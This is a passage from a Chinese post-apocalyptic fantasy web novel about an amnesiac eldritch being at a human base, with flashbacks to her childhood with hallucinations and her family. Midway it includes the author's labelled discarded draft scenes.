郁七的声音低落下来,后面的事,朱肆她们也知道了。祂的一部分保护了她。
“祂是否察觉这个所谓信徒的到来?”虞零若有所思。她查看通讯器,祂的聊天框并无动静,下属却转来一条秋十的消息。
她们耽误许久,如今已是那个闯入者消失的第二天下午了。虞零之前接到祂意欲出城的消息,她当时精力不济,想来也不是什么坏事,便转给其她高层决策。算算时间,她们也该回来了。
虞零和朱肆同一时间抬头,视线在空中交错。即使祂现身后异常不断,基地的应对策略也是建立在祂错误的自我认知上,在祂出城前,没有迹象表明祂有恢复正常的认知。
*
七十年前的一个冬夜,柯雾从沉睡中惊醒。
远处轰轰炮火声让她从迷惘中回神,拖着细长的尾巴,她不断上浮,向声响来处游去。
“开火!开火!这群该死的异种!”领头的男人咆哮着推开被吓傻的炮兵,亲自上手填充炮弹。
火光轰鸣着划破夜空,精准地落到漆黑的海面上,海水下一簇簇丝带状浮游物随波流动着,它们黑如发丝,在夜海中完美隐身。人们只能通过水面波纹判断是否有异物存在。
这不是柯雾第一次在这片海域遇到人类,但是第一次见到能够反击异种的人类。她饶有兴致地观察着交手的双方。黑发样的变异海藻冷不防从水下探出,缠上男人的脚踝,猛地将他拽落。
“shit!***”男人一边谩骂一边抽出腰间军刀,狂乱地刺入水中,也不管有没有刺中,极度的恐惧和愤怒已经让他丧失了理智。
柯雾知道男人,或者说这一船人的的落败已成定局,她顿时兴味索然。正要驱使阴影将海藻逐去,一个黑色的人影从天而降。
“吵什么!”女人没好气夺过男人的刀,她浑身覆着坚硬的铠甲,只露出一双血红如火的眼瞳。那双熊熊燃烧着的眼睛根本没管海藻,而是拎起男人的后领,将他奋力一甩,甩到那艘即将倾覆的小船上。倾斜严重的船身经他这么一压,本已翘起的船头回落,小船平稳了。
“头儿!你回来了!”男人不顾身上狼狈,赶忙爬下女人的方向,想伸手把她拉上来。
女人没理,一把薅起水中海藻。她两手一张,用力一撕,海藻应声而裂。
第一次见人类这样对待异藻,柯雾颇感新奇,须尾摆动,她游近了些。
女人一簇一簇撕着海藻,以人类的力量本不该如此轻易地撕裂异藻,就连柯雾都将异藻当成最耐玩的玩具之一,足以见女人的不寻常。
异藻们见状不妙,想重回水下,撞上悠悠而来的柯雾。
她张开触-须,笑纳了这顿送货上门的午餐。
女人浮在水面上,巡游了小船四周,确认没有隐藏的异种后,利落地翻上船头。
柯雾半隐在水下,飘到船边。她本体透明,根本不担心人类发现。
但女人突然回头,鹰一样的眼睛视察着平静的水域,她的目光射向柯雾所在时,一下停住了。
就在柯雾思考被发现的话是装作打不过逃走,还是大方上岸,占了她们的船顺便去陆地上玩一趟好,女人猛地弯下腰。
她扒在船头,朝柯雾的方向不可置信地大喊:“小雾?!”
她觉得这个声音有点熟悉,但随着而来的痛感打断了思绪,柯雾扶着头,没有回话。
“是你吗?!”
血色眼瞳流下晶莹的泪水,她似悲似喜,将手伸向柯雾。“终于找你了,我……”
“头儿!”男人和其余人惊恐地拉住她,“那是异种啊!!”
*
三十年前的一个冬夜。
“你会害了所有人的!”母亲抓住她的肩膀,泪如雨下神色癫狂。“不要那么做!把它们收回去!那些触足,那些海水!从哪来回哪去!”
她轻轻地推开了她,人类的身躯何其脆弱,一碰便倒。一旁一直缄默不语的姐姐扶住母亲,她盘在腰间的蝎尾竖起,抵住了柯雾的触-手。“……够了吧。”
柯雾没有再向前,“妈妈疯了。”
“即使是这样,你也要支持她吗?姐姐。”她带着淡淡的迷惘说道。
“我觉得她说的有道理。”姐姐没有让步:“你不可能一直护着我们,我不想去想那个你堕-落的可能,可事实上你每次苏醒都会忘记一些事。”
“那是为了更好地记住你们。”柯雾紧紧盯着姐姐爬上黑色纹路的面容,以一种难过的口吻道:“妈妈她知道的,她没有告诉你我为什么沉睡吗?”
方才还在掩面低泣的母亲一顿。姐姐蹙眉:“为什么?”
柯雾:“使用异能的次数越多,污染对异能者的影响越大。”
姐姐面上黑色的纹路逐渐凝固,令她疑惑的表情割裂成扭曲的两半。她不明白她在这个时候提这个人尽皆知的研究成果做什么。
柯雾伸出手,碰了碰姐姐绷紧的下颌,几乎是一瞬间,姐姐下意识作出了反击。两股巨大的力量相撞,姐姐退后数步,黑色淡去些许,她护着母亲,眼神充满了警惕。
“我吞噬的异种越多,神智越不清醒,或许某一天就忘记了自己的名字和……来处。”柯雾看了母亲一眼,缓缓向半空升去。“在那之前,我要保证你们有自保的能力,不至于被那些连吞噬的必要都没有的渣滓消灭。”
姐姐怔住了,没有下一步动作。
“大家好像都觉得异能者的出现是因为基地隔绝了大部分污染,让一些离开了污染源的污染分子不再容易絮乱,以至于能被人的意志镇压。”柯雾摆尾,一些亮晶晶的磷粉落下,她在空无一物的空气中翻身,她已经升至半空,姐姐被迫抬头仰视她。
“妈妈从前告诉我,这是为了让大家安心的说辞,等时机合适,会将真相公之于众。”她略带嘲讽道:“现在看来,应该是等不到那一天了。”
“不过没关系,被误会也好,被欺瞒也好,我保护你们,和你们无关。”她淡淡道。
姐姐凝视着空中巨大的黑影:“你去哪?”
“去做符合你们想象的事情。”她的声音已经很远:“传播‘污染’”。
*
喜蛛、肉笼、荧虫、“暴雨”、梨花蚊,通过吞噬它们,柯雾获得了充盈的能量和腐蚀的能力。
柯雾回到住所,她取出那个和能量棒一同送来的金属箱,将其腐蚀了个稀巴烂,随着金属滋滋作响,致幻剂的甜香愈浓。
柯雾摸着阴影织就的“衣服”,闭着眼睛感受领域,从她降临到回归之间的所有变化逐一脑海划过。在她的领域内,她可以看到任何时间任何地点发生的任何事情,一切无所遁形。
影片倒带,时间倒转,在昨日定格。
全副武装的送货员放下箱子,屈起食指,在她的门上轻轻敲了两下。
动静传来,她退后两步,大门洞开,无数滴水的触-手飞出,卷起金属箱。彩色泡泡站在门后,表面巍巍,水波漾开。柯雾记得自己那时想开口道谢,但送货员转身就走。
这回她看清了她的模样,在转进视觉死角后,她身上黑色的防护服开裂,一条黑亮的蝎尾从中伸出。蝎尾蝎尾辫的女人对着她笼罩的昏黑天际伸了个懒腰,她的面上覆着半面铠甲般的甲壳,柯雾看不到她的眼睛,读不懂她的用意。
不过没关系,那不重要,对方已经知道她并未“苏醒”,目的已经达到。而她确认了对方的身份,也证实了自己对断崖旁那个身影的猜测。她从头包到脚,任柯雾如何神通广大,也无法在不甚清醒的状态下认出她。但等柯雾“苏醒”了,重掌领域的权能,自然明白了她的身份。
她们隔着错位的时间,重逢了。
*
虞零应祂的要求,发去一份第七基地人员名单。
【听说第七基地的异化率很高,为什么异能者那么少?】
虞零:【异化率高,觉醒的少,没救下的都没了。】
祂隔了一会才回:【好的】
【麻烦和郁七来一趟我的房间,我有事告诉你们】
虞零将手环转向郁七,郁七怔了怔,同样打开自己的手环,和祂的聊天界面显示了一样的句子。
祂分别通知了她们,虞零嗅到了其中的不寻常。
与此同时,祂的消息再度弹出:【麻烦叫上的精神系异能者,越多越好,谢谢】
*
【来了?】祂从沙发上抬起头,虞零瞳孔微缩。
泡泡大变样,钝的圆角弯曲伸长,变为一个身穿长裙的虹色剪影,剪影表面变幻不定。
祂双腿交叠,优雅地品着茶。
虞零很快反应过来祂身上发生了什么变化,但祂并无攻击的意思,她便压下心中的忧虑,比以往更加恭敬道:“您要的人都带来了。”
【噗嗤】一声拟笑。【好像在演戏】
戏……?虞零确信自己没有听错,这个单字的发音关联许多,她一时拿不准祂的意思。
祂修长斑斓的肢体伸来,宽慰似地拍了拍她的肩膀,【别怕,我没有恶意。】
“您需要我们做什么吗?”虞零放弃了思考,既然祂一副开诚公布的模样,她也不藏着掖着了。
【是需要你们帮忙。】祂的目光转向一旁坐着的郁七和为数不多的精神系异能者身上,后者紧张兮兮,前者眼睛闪闪发光。
阴影从角落探出,拿起茶壶,给几位客人满上热茶。
祂说完后停顿了几秒,似乎是在思考,而后,祂缓缓开口道:【你们知道催眠吗?】
*
催眠?几人面面相觑。
虞零率先打破了沉默:“一种治疗心理疾病的方法?”
祂颔首,认可了这种说法。
还未等虞零进一步探寻祂的意思,郁七气音细弱,小声插话道:“是需要我们催眠您吗?”
虞零看了郁七一眼,她眼神炯炯地看着祂,丝毫不具那转速愈发急速的漩涡。
【是的。】良久后,祂道。
虞零刚想开口,郁七再度道:“我们该怎么做呢?”
三番两次被打断的虞零:“……”这孩子。
【把我当成一个普通的人类,】祂轻飘飘道,【攻击我,影响我,污染我。】
众人面露惊骇,祂继续道:【但不是现在。】
祂起身,不断有色彩掉落,在祂身后汇成一湾月牙潭水。
虞零顺着祂的思路下去:“只有我们够吗?需要通知其她基地的治疗师吗?”虽然其她基地都做壁上观,但祂的要求,她们是无法拒绝的。
【不必。】剪影面部漩涡逆向流动,祂笑了笑:【会轮到她们的。】
?
作为曾经一心想要祸水东引的高层之一,虞零并没有感到高兴,或许是祂的一举一动太过反常。
【我需要保持那种痴愚混沌的状态。】不断下淌的色彩分岔出两个指头,在她们面前画了一个“乂”。【有人在我必经的路上放下诱饵,让我提早苏醒了,这是我所不欲见到的。】
虞零和郁七对视了一眼,她们脑海闪过同一个身影。虞零开口道:“那个把荧虫引进基地的人?”
祂点了点头。
“您……”虞零迟疑片刻,还是在这种难得的坦诚相待的氛围中替其她人把那个疑惑很久的问题问出了,“为什么要这样做?”
【为了进化。】祂捏起裙摆,朝她们鞠了个躬,宛如舞台的谢幕礼:【为了人类。】
裙摆在空中划出一道弧线,阴影缀上边缘,在场的精神系都下意识缩紧了身子。在她们的感知中,代表祂的那片宁静温和的海面,此刻正掀起滔天巨浪。
*
周一和张三刚结束录入工作,加粗橙红的感叹号便跃上科研室的大屏。负责接待她们的研究员面色凝重:“天灾预警。”
*
医生列出的诸多方案中,有一个是脱敏疗法。专家建议柯雾多去人群密集的场所,就算无法摆脱幻觉,将它们视作日常生活中的一部分,对她的社会化也是有益的。
姐姐和母亲听信了,母亲工作繁忙,便挑了场有名的魔术表演,买了票让姐姐带她去。
她们提早到了演出厅,姐姐牵着她的手,走向空荡荡的座位。
她吃了药,座位是正常的状态,没有长出牙齿,也没有舔着舌头。
柯雾贴着靠椅坐下,针织衫被汗水浸得冰凉。姐姐攥紧她的手:“难受?”
药的副作用之一是头痛,有时痛到柯雾无法思考,哪怕后面换了副作用较小的药,在心理作用下,她还是一吃药便会头痛。
“还好。”她低声道,耳边传来些微嘈杂的声响。同样有赶早的客人,在她们之后陆续进场。尽管知道不一定是邻座,柯雾还是下意识绷紧了脊背。
姐姐安抚地拍了拍她的手。
她强迫自己抬起头,演出还未开始,灯光还未暗下,不少父母带着孩子观看,每个人脸上洋溢着兴奋和期待。她们的位置在最中间,柯雾感到笑声、谈话声从四面八方传来。她盯着前几排一个笑得满脸褶子的老婆婆,看到一牡丹在那张饱经沧桑的脸上盛开。
柯雾使劲眨了眨眼,花朵消失,婆婆还是那个笑哄着孙女的婆婆。她微微松了口气,整个人瘫在座位上。
姐姐摸了摸她的头,熟练地从随手包里拿出她的专属眼罩:“累了就休息会?”
她犹豫片刻,还是摇了摇头。不敢看人,那便看向屋顶,只要目之所及正常,她便安心。
*
柯雾登上内城的最高处,掏了掏口袋。一颗包装精美的糖果静静地躺在她手心。赖城一战后她一直没换过“衣服”,这颗炮弹糖果自然一直留在“口袋”里。
辐射香甜地气息被裹在其中,她深吸一口气,高高一扬——
随着小小的果糖落下,她也翻身过拦,一跃
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而下。
*
一滴露珠自天穹垂落。
祂的表面异彩涌动,随着祂的下落,导弹在半空中炸开,但没有一栋建筑、一个人受伤。祂在半空延展开来,像不断延伸的蛛网,吞没了那爆炸引发的,每一根丝覆上这座城市。居民区,研究所,指挥大楼,军区,第七基地的每一处都染上祂的色彩。
*********
以下是废稿,请别看,作话亟待设置感谢名单
柯雾
给郁七和虞零发了一条同样的消息:【来见我】
十分钟后,
郁七回复了她的消息:【我没事,已经出来啦】
她想了想,
箱面变成一块屏幕,播放了一段“开机动画”。
一个身穿白大褂的娇小身影浮现,她一头短卷毛,夸张的太阳镜架在瓜子脸上,慷慨激昂地宣读开场白:
“欢迎使用哒哒哒安心达服务~无论是禁/区还是天空城,只要您付出足够的代价,我们发誓:虽远必达,虽险必达!”
“我是奥林匹克,你们忠实的电子仆人,下单、查询、收货或其她服务,任您语音指示~”
“新客人?”
念完广告词,她就像发现新大陆般,将鼻子贴到屏幕上,那半张脸大的太阳镜也跟着占据屏幕,让箱面凭空出现两个“黑洞”。
柯雾默默退后了两步,
奥林匹克不依不挠:“多么美丽的外表,多么强大的力量,或许——您有兴趣加入我们吗?”
?
最初的诧异退去,柯雾找回自己的初心:“我要收货。”
收到指示的奥林匹克叹了口气,打了一个响指,箱子缓缓展开。柯雾检查货物的同时问道:“你是电子客服?能转人工吗?”
箱子摊开,被迫跟地板面对面的奥林匹克语气哀怨:“是,我也是人工,有比二十四小时无休代班又能无限分-裂的员工更优秀的人工吗?”
好智能的ai。
“加入是什么意思?”
奥林匹克精神一振:“是这样的,哒哒哒公司的总部/位于第二基地,对,就是那个浮在海上,全世界漂流的第二基地。我们的员工遍布世界,招募包括荒野猎人在内的有志之士,致力于为每位陷入险境的客人提供运输服务。”
“所以这不是日常用的快递?”柯雾沉思,“我没有陷入险境,为什么送货的是你们?”
“因为身处险境的是第七基地吧。”奥林匹克咯咯地笑起来。
能量棒没问题,柯雾合上箱子。面对她疑惑的眼神,奥林匹克扶了扶镜框:“您不知道?”
“我该知道什么?”
“就是——”奥林匹克刚张嘴就顿住了,她徒劳地把嘴巴拧成各种形状,都不发不出一个字。
她干脆伸出手,在屏幕上描画。随着没有指纹的指尖不住勾画,笔迹圆润,小学生学写字一样的字体浮屏幕:
【我被禁言啦】
【老板真小气】
【总之】她继续写道:【第七基地有脏东西混进去了,如今全基地戒严】
【正是赚钱的好时候,如果您有兴趣,欢迎注册成为我们的一员】
【一单的基础分成也有1k交易点哦,您这样的特殊员工还会有专门津贴】
【您有意向的话,这边会向您发一份正式合同,签约即可接单】
怎么买个东西还能被招聘。柯雾道:“我的身份证明还没办下来。”
“这有什么。”发现又能说话了,奥林匹克墨镜一扬,“我们连异种都能签,当然它们要的是营养液,还是您也需要?我可以安排……真是好久没碰到那么有潜力的员工了。”
“我考虑一下吧。”
*
广阔的海域上,一艘岛屿大小的舰艇沿洋流的方向航行,奥林匹克虚幻的身影跃然甲板上。
“谁把她放出来了……”
“好像是头儿……”
“呃,当我没说……”
不管那些窃窃私语,她兴奋地跳入水下,机械制的人体同紧身潜水服严丝合缝,入水的那一瞬,深处传来呼唤。
【这边。】
【来了来了!】奥林匹克飞速地游动着,穿过变异大白鲨的捕猎场,穿过八条腿是人腿的百目蟹栖息地,游入幽微的海底珊瑚丛。
近乎黑暗的水下,一团黑影缩在高大的珊瑚中,尾巴盘了一圈又一圈,浑身起伏着细小的鳞片。若有人经过,恐怕不会以为是活物,甚至是活人,只会当做乱飘的水草。
【我看到祂了。】奥林匹克褪-去油腔滑调,平铺直叙。
暗处一声轻笑。【是吗……终于舍得回来了?】
【第七基地是在荒原上发现祂的。】
【祂……不记得了。】奥林匹克难得迟疑。
无线频道突然变得嘈杂。
眼见黑影有扩张的趋势,奥林匹克忙道:【】
-
“我的房间是哪个?”
基地为柯雾准备了足够大的房间,诚意十足。
-
柯雾的手覆上雕塑表面,晒了一天,雕塑体表尚存余温,掌心贴合处微微发热,此外还有些微凹凸不平之感,仿佛野兽遍布倒刺的长舌,耸动着,舔舐过她掌心。
“里面有东西。”
“好像……有活物。”
*
几乎在祂出言的瞬间,温九进入战斗状态,可还是迟了一步,坚硬光滑到足以反光的雕塑表面一下成了纸糊的灯笼,无数光团涌动着破壳而出。
祂静静地看着,无处不在的视线集中于一点,光团流出的那点。
灼热的白光汇聚的光团悬于彩色泡泡的前方,滴蜡一般预备着滴下。
*
柯雾伸手接住了那
-
柯雾其实不是很想麻烦温九,但确实需要一个向导,思来想去还是同意了。
-
她慢吞吞走着,借机观察基地。
-
“您是不是有通讯器了?我们要不要加个好友?”郁七轻快的声音
“你好。”柯雾的母亲在生物企业就职,从事研发工作,也是一身白大褂来去,她不由生出几分亲切,上前在玻璃这头的
“”
室内纤尘不染,装修风格温馨到有些幼稚,柯雾此时正抱着招财猫抱枕坐在转椅上,等专家问诊,不是,鉴定。
“您好。”
她们可以看到彼此,声音却只能通过话筒音响传递。
清凌的女声犹如潺潺的清泉,同对面开合的金属门声一道落入柯雾耳中。
“是。”
怕她无聊,队长给了她一个临时通讯器,柯雾的身份证明尚未办下,没有居民id,不能使用其她功能,只能进行最基础的通讯。
她好奇地摆弄形似玉镯的通讯器,和她记忆中的薄如纸的高科技手环不同,基地的通讯器颇有质感,转动便会弹出悬浮的窗口,佩戴者通过眼神或触屏操作。
柯雾还是习惯触屏,她按照队长教授的办法试图拨通队员的线路,却被弹出的好友申请打断。
21. 只道寻常
柯雾走出医疗中心的大门,今天的太阳光格外强烈,天空也分外湛蓝。
虞零和郁七落后几步,一刻不离地跟着她。柯雾回头,两人就若无其事地看向别处。柯雾停下脚步:“我准备回去收拾行李。”
郁七抢在虞零前开口:“已经有人帮您送过去了。”
柯雾望向虞零,虞零无奈地点了点头。
郁七又道:“耽误您这么久,实在抱歉。”
柯雾摸了摸鼻子,其实她也没有那么想去内城,只是外城没什么人,空空荡荡的,比赖城还鬼城,晚上一个人睡有些害怕。
但她想起来自己的病不宜待在人群中。不知什么缘故穿越后再没有发病过,连基本的水土不服都没有,还是说这是水土不服的症状之一?柯雾胡思乱想着,顺口问虞零道:“请问内城有治疗精神疾病的药物吗?”
虞零即答:“有的。”
柯雾迟疑片刻后道:“……那有治疗精神疾病的医生吗?”
*
【我见过很多医生。】祂在虞零的脸颊上圈出一个口罩。虞零感受着冰凉的液体不住从脸上滴落,她没有低头去看,双眼直直地注视着祂,几欲爆裂。
祂放下手:【这种程度可以吗?】
实话说,有些勉强。虞零的感知中,属于祂的那片浩淼壮阔的精神海摩西分海般,从中一分为二,邀请她进入其中。
虞零控制着代表自己的那条河流,艰难地流入,她注意着不同祂接触,但很快发现没有这个必要,祂很贴心地避让开来,即使偶然触及,也会主动退去,千尺海浪凝在半空,分外震撼。
“您是说,我需要扮演您记忆中的医生,祝您……”虞零回忆着祂方才的教导,“祝您……忘却自己的身份?”
【是的】河流穿过仿佛无边无际,由两道海水墙筑成的幽暗隧道,豁然开朗。
*
柯雾有过很多心理医生。她们每一个来时都信心满满,去时同样灰心丧气。
她每次都会安慰她们:“没事,你们已经做得很好了,妈妈会感谢你们的。”
事实上也的确如此,无论心理医生为她准备了怎样的治疗方案,最后能够生效的也只有一直被抨击批判的催眠疗法——柯雾直接在治疗过程中睡着了,醒来后神清气爽,幻觉虽然没有消失,但精神状态确实好了不少。
她因为幻觉,很难睡一个安稳的觉。安眠药不能多吃,白噪音在她耳中会变异为怪异的嘶鸣,在第一次接受催眠之前,她已经很长时间没有睡过一个整觉了。
无论是名声响彻国际的医生,还是近年来异军突起好评不断的专家,对她而言没有区别。只要能让她睡个好觉,就是好医生。
可医生们往往很沮丧,显然,她们对自己的专业水平产生了自我怀疑。
姐姐前脚笑容满满地送走一个医生,下一秒拉下脸,愤愤道:“又一个草包,不知道老妈怎么选的,净是些吹牛大王,一个有用的都没有。”
柯雾抱着被子,刚从深度催眠中醒来,她还有些不清醒,闻言笑了:“有用的。”
她看清了姐姐的模样。青春期的少女身着白蓝色的校服,左肩上还搭着黑红色的书包,剑眉快蹙成了一道褶子,英气的五官写满不赞成。
她扯了扯姐姐的袖子,软着嗓子道:“高中怎么样?”
姐姐第一反应抽出袖子:“我没变成什么奇怪的东西吧??”
“没有。”柯雾笑意加深:“所以说有用嘛。”
“真好了?”姐姐反握住她的手,孤疑地观察着她的表情,显然是不放心:“别又骗我。”
为了让家人放心,柯雾以前经常把病情往轻了说,幻觉是眼花,幻听是耳鸣。姐姐一开始信以为真,久而久之发现异常,把她狠狠训了一顿,往后柯雾便实话实说了:“真的。”
姐姐这才放下心来:“就那样吧,一帮小屁孩吵死了。”
柯雾揽住姐姐的手:“姐姐也是小孩呀。”
姐姐放下书包,坐上病床边缘。没有继续这个话题,而是难得严肃道:“等病好,你想上学吗?”
柯雾很久没有回话,姐姐倾过身,紧紧抱住了她:“不去也行,我教你就好,我已经学到大一的课程了,教你绰绰有余。”
尾调是藏不住的骄傲。柯雾知道姐姐一直很努力,学校医院家里三头跑也没影响她稳居年级第一的宝座。她将下巴搁在姐姐肩上,轻声道:“我听妈妈说,你想考军校。”
不是疑问,是陈述句。
姐姐果然整个僵住了,比门板还硬。姐妹俩像姿势古怪的拥抱雕塑,她们的感情一向很好,很大一个原因是柯雾过于依赖家人。母亲是远近闻名的学者和上市公司的技术顾问,工作繁忙,在照顾小女儿这方面分身乏术。保姆和家政难免有照顾不周的时候,姐姐刚上小学就会熟练地摇她的婴儿床,初中的时候抱着她在阳台上看星星,包括她每次发病,也是姐姐陪在她身边。
从来如此,她便习惯了对方的存在,直到逐渐长大,渐渐意识到别人家的姐妹不会如此。她是姐姐即使聚会也必须早早回家的理由,是繁重学业空隙也要顾及的大麻烦,是对方实现梦想路上的一块绊脚石。
姐姐松开了她,眼神复杂:“我明明叫她保密的。”
“不告诉你是我还没下定决心,再说还有两年时间。”
柯雾将脸埋进被子里:“你去吧,我现在长大了,一个人也可以的。”
姐姐掀开被子:“什么大不大的,你才十一岁,我跟你这个年纪还在你睡觉的时候往你脸上画乌龟。”
柯雾:“……”
“别多想啊。”姐姐再次抱住她,比上一次更紧:“我不是因为你就束手束脚,我没那么伟大。但你是我的家人,我肯定会把你放进未来的规划里,当军人还是医生不重要,重要的是你要好好的。”
“除非你有好转,不然我不会去太远的地方。”姐姐揉了揉她的头,语气老成道:“所以你要积极吃药,配合医生治疗,我也会帮你的。”
柯雾张了张嘴,最后只是轻轻吐-出一句:“……好。”
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祂告诉虞零,这意念之海中有一处是祂过去的记忆,被封-锁在深海之下。
一个人的性格由记忆和情感组成,拥有高度的智能的祂也不异与此。当祂的记忆被尽数放出,祂便完全地复苏。
如今,祂需要她将多余的回忆锁上。
“多余的……?”虞零有些不解。
【留下人类的记忆就好】祂道:【我试过很多次,只有留下人类的记忆才能稳持属于人类的自我认知】
“所以您之前确实是……”代表虞零的河流激荡出半米高的水花。
【是人类】祂轻描淡写道:【让你失望了?】
“怎么会——”激荡扩大到整条河流,虞零激动不已:“您是怎么做到的?是异能者高度异化后仍然保持了理智,还是堕-落后觉醒?这太不可思议了,历史上从未有过——”
从未有过这样强大的异化【人类】。虞零话还没说完,一路平稳的隧道陡然向下,她还没反应过来,意念便落入深不可见的黑洞。
“——!!”
【不建议尝试】祂的声音空灵回响:【会死人的】
*
姐姐陪了她一晚,第二天早早去上学。高中的时间比初中紧张许多,柯雾醒的时候姐姐已经在上第一节课。手机里的聊天停留在“早餐后记得吃药”,柯雾发了个萌萌表情包,慢吞吞起床刷牙。
路过客厅时,保姆刚关上大门,离开的脚步声很是匆忙,像在逃离什么怪物。
刚接受过治疗,柯雾目前的知觉还正常,动静一个不落地收入耳中。她看着桌上色香味俱全的早餐,肚子咕咕作响。
妈妈交代保姆和家政尽量避免和她碰面,柯雾发病时眼前的一切光怪陆离,意识不清。第一次上门的保姆和她打招呼,被她看成垂着两条触-须的怪物朝她扑来,她知道这是幻觉,拿起一旁变成眼珠的茶杯,想释放自己的善意,结果刚走两步就被姐姐抢下。
连姐姐的声音都变成了古怪的呢-喃,她一个字都听不懂,乖乖地待在原地,顺从地被抬起头,灌下水和药。吃了药,再去看眼珠,哦,是一把锋利的水果刀。
被她拿着刀指过的保姆擦着汗在沙发的另一头坐下,磕磕绊绊地应着姐姐的问题,躲闪着柯雾的目光。希望这一个能坚持-久一点吧,那时的柯雾想。
没想到后来妈妈直接不让她们见面了,保姆和家政如释重负,她也乐得清静。只是一个人难免孤单,姐姐回家的时间更早了,母亲也时常抽空给她打电话。
想到这,她放下牙刷,掏出兜里的手机,拨通了母亲的号码。
*
下落,下落,永无止境的下落。
虞零忍着不适等待,可只等到逐渐不可视物的黑暗。
终于,她忍不住问道:“我该怎么做呢?”
祂没有回答。
闪着微光的河流只好在半空转弯,分出两道去触两旁不知由什么构成的阴影。电流般的触感传过现实中的虞零,随后,她的脑海中多了一些支离破碎的画面。
22. 往日阴影
“您好。”恬静的女声从话筒中传来。柯雾攥紧手机,小声道:“妈妈。”
那头静了一瞬,随后,更加温和的声音道:“雾雾?发生什么事了吗?”
她很少主动与母亲通话,母亲工作忙,她不想打扰,再者,同母亲也没什么好说的。
柯雾:“你没有告诉姐姐吗?”
母亲那头背景音嘈杂,时不时传来几声“教授?”
母亲拿远话筒,同那边的人解释,随后走到僻静处,“告诉是指?”
“我的病,治不好的。”柯雾的声音低落下来。
“雾雾。”母亲温柔道:“有一种方法,只是副作用太大,我答应过你,会继续改进,可以再等我一下吗?”
母亲说的方法需要进行开颅手术,切割一部分脑组织,后果是人的性情可能大变,变得不再像自己。柯雾对此十分恐惧,母亲便没有再提。而姐姐,或许是因为姐姐太过年轻,关于柯雾的病情,母亲一向不同她多谈,以至于姐姐一直以为这种病症是可以治愈的。
“要多久?”柯雾没有发觉身体在颤-抖,她攥紧手中的薄片,嗓音发紧。
“五年……不,三年。”母亲几乎是以哄婴幼儿的语调同她说话,似乎担心她因此想不开,“会好起来的,相信妈妈。”
“那你可以先告诉姐姐,我已经好了吗?”她坐在餐桌前,胃部翻涌,实在难受,她夹了一个包子,囫囵咽下,几乎要呛到。呼吸一时困难,视野开始变幻不定。
柯雾意识到催眠的效果在减弱,她必须赶紧吃完早饭去服药。
“可以。”母亲在那头叹了口气,“我给你的药够用吗?”
“够的。”柯雾去够水杯,眼前一晃,一道黏腻的视线自半空投来,如有实感地舔舐者她的身体。
她的呼吸急促起来,母亲察觉到异常,语气一凝:“雾雾?”
“我可能……需要加大剂量。”她低下头,深呼吸,在脑海中不断告诉自己那是幻觉。
“好。”母亲当即道,“现在能吃药吗?需要我叫人吗?”
“不……”柯雾睁开眼,。“我还好,你忙吧,记得寄药回来就好。”
说完,没等母亲回复,她便挂断了电话。
长桌上摆满了布满血丝的眼珠子,它们骨碌转动着,伸出恶心的视线,舔便她全身。
她手中的包子变成蜷缩的婴孩,白白胖胖,刚刚出锅,还在冒着热气。
她面不改色地对着这桌血腥盛宴,撕咬着嫩滑的肌肤,啃碎了婴儿的头骨,凄厉的哭喊声从远处传来,像锥子刺入她脑海。
这是幻觉,她对自己道。狼吞虎咽,不曾停歇。
*
虞零接收完祂的记忆,一阵恶寒窜上后背。她压下涌上喉管的鲜血,再度试图以能力去窥-探祂的过往,却被推开了。
【看到了?】祂的声音幽幽冒出,少了一丝温度。虞零捂着剧烈跳动的心脏,艰涩道:“看到了。”
【可以了,来吧。】
……什么?
虞零蓦地睁大眼睛,一旁的郁七扶住她僵直欲倒的身体。其余几人也连忙来帮忙,她像一尊泥像被七手八脚地扶稳,而后小心翼翼地放倒在地。
虞零感到脑子不是自己的了,有一双无形的大手在她的脑海里一顿搅和,似乎在翻找空余的位置。这种感觉很奇异,她的精神海一阵颤动,然后,她失去了意识。
【抱歉。】
再度醒来时,赫然是垂落蠕动的色彩,祂的“发丝”擦过她的脸颊。【我让她们分担了一些,有好一点吗?】
独断又温和。祂的歉意是真,不容置喙也是真。虞零禁不住往后挪了挪,哑声道:“好一些了……这样就可以了吗?”
祂摇“头”,【只是种下锚点,还需要你操纵我。】
【给我下一个心理暗示。】
等等,操纵谁,谁操纵。虞零:“……我吗?”
默默旁听的众人悄无声息整齐划一地退了一步。虞零:“……”
那漩涡的表面闪了闪,暗淡了些许:【我曾有过一个锚点,可我感受不到他了】
祂的触-手攀上虞零肩膀:【我只有你了。】
“……我明白了。”虞零深吸口气,“现在吗?”
【在我散播污染后。】
虞零:“好……”等等,散播什么?
祂裙摆翕动,无数触足从中探出,几乎瞬间移动到了窗边。【太阳升起来时,我会进行大规模的污染。】
虞零挣-扎着就要从床上起身,祂道:【不要怕,这是进化的一环。】
【明天之后,第七基地的异能者会上升到总人口的九成。】祂描摹着窗面,绘出一个血淋淋的勾,只是这血液是彩色的。
【那之后,你引我去其她基地,进化不能落下任何一个人。另外,不要让我察觉“异常”。】祂回头,【能做到吗?】
虞零彷佛再次暴露在那堆眼珠有如附骨之疽的注视下,她顶着压力,一字一句道:“您不会伤害我们,是吗?”
【是的。】顿了顿,祂又道:【我保证。】
*
“有的。”虞零拍了拍郁七的肩,插-入两人之间,“交给我们吧。”
柯雾放下心,“那我们走吧。”
内城区比外城多了专人检查
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,不过检查的工作人员都有些心不在焉,好似一-夜未眠。柯雾同她们搭话,她们都要卡顿一下才反应过来,露出迷离的微笑。无论柯雾问什么,都点头,鞠躬,笑。
柯雾对此摸不着头脑,虞零解释近来污染事件频发,工作人员加班太久了,精神状态不太好。
柯雾明白了,同情道:“要不多加些人手?这样可能测不准啊。”
“是应该。”虞零道:“我会建议的。”
郁七悄悄看了一眼柯雾,被她逮到了:“怎么啦?”
“没什么,就是……您有哪里不舒服吗?”
“没有呢。”柯雾感受了一下身体,睡了一个好觉,身体更轻盈了,立马跑一个八百米也不在话下。
“那就好。”郁七抚了抚胸口:“您突然掉进窗户……我是说突然不省人事,撞到车窗上,我们都很担心。”
“说起这个,”柯雾有些不好意思道:“秋十和浮云呢?”
对了,还有苍灵。她应该,有完成委托吧?刚才顺便看了一眼账户,1w多的交易点给了她满满的安全感,对浮云这位老板多了几分好感,希望她能顺利治愈苍灵。
“阿秋说浮云启程去第四基地了。”郁七道:“阿秋她第一次异化……第一次经历暴雨,也感了风寒,在内城的医疗部接受治疗。”
谈话间,她们通过重重关卡,来到了内城。
对于好奇已久的末世基地,柯雾的第一印象是,好多人啊。
